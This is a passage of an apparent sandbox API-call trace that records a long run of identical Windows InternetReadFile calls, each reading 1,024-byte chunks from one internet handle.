[0051.909] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.909] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.909] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.909] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.909] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.909] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.909] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.909] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.909] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.909] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.909] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.909] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.909] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.909] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.910] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.910] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.910] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.910] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.920] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.920] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.920] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.920] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.921] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.922] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.923] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.923] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.923] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.923] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.923] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.923] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.923] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.923] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.924] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.924] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.924] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.924] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.924] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.924] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.924] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.924] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.924] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.924] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.924] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.925] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.925] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.925] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.925] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.925] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.925] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.925] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.933] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.935] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.935] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.935] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.935] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.935] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.935] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.935] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.935] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.935] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.935] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.935] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.935] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.935] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.936] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.936] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.936] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.936] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.936] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.936] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.936] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.936] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.936] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.936] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.936] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
[0051.936] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x19a5a4, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x19a59c | out: lpBuffer=0x19a5a4*, lpdwNumberOfBytesRead=0x19a59c*=0x400) returned 1
